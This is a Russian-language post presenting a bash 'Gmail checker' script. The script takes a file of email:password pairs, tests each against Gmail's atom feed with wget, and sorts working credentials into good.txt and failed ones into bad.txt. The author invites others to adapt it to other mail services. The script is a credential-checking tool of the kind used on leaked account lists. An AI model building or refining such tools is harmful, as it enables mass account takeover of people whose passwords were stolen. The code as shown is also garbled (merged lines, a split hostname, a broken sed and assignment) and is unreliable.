Возникла необходимость, проверить несколько gmail аккаунтов на валидность пары логин-пасс. После непродолжительного гугления наверстал небольшой скрипт, бъющий исходный файл на два (с валиднымт данными и с некорректными):
#!/bin/bash echo "+=====================+" echo "| Gmail checker v 0.1 |" echo "| Author: SpxnezzaR |" echo "| icq: 602296 |" echo "+=====================+"
if [ "$#" -eq 0 ] then echo 'file not defined!' echo 'please define file with accounts!' echo 'example:' echo $0' accounts.txt' exit 0 fi
error() { printf "$@" >&2 echo exit } ls $1 > null || error $"file $1 not found!" echo "script name: $0" echo parsing file $1 #parsing account file: OIFS=$IFS; atomfile="./atom" if [ -a $atomfile ]; then rm atom fi goodfile="./good.txt" if [ -a $goodfile ]; then touch good.txt fi badfile="./bad.txt" if [ -a $badfile ]; then touch bad.txt fi IFS=: echo "====================" while read mail pass do login=echo $mail | sed -r 's/([^@]+)@.+/1/' wget --no-check-certificate -q --user=$login --password=$pass https://mail.googl e.com/mail/feed/atom if [ -a $atomfile ]; then echo "+>$mail ($pass) - valid" rm atom echo "${mail}:${pass}" >> good.txt else echo "$mail ($pass) - failed" echo "${mail}:${pass}" >> bad.txt fi done < $1 echo "==================" echo "parsing file done!" IFS=$OIFS
Как видно на входе нужно дать файл со строками формата user@gmail.com:password gmail.com в строке обусловлено имеющимся списком (вырезать было лень), да и по условию потом будет проще адаптировать (при модификации) к другому почтовому сервису. Конечно необходима дороботка, в первую очередь при использовании wget избавиться от скачвания atom файла, а ограничиться получением, возвращаемым кодом от сервера. Но я думаю на скорую руку сойдет, а кому нужен больший функционал, тот сам поправит под себя.
|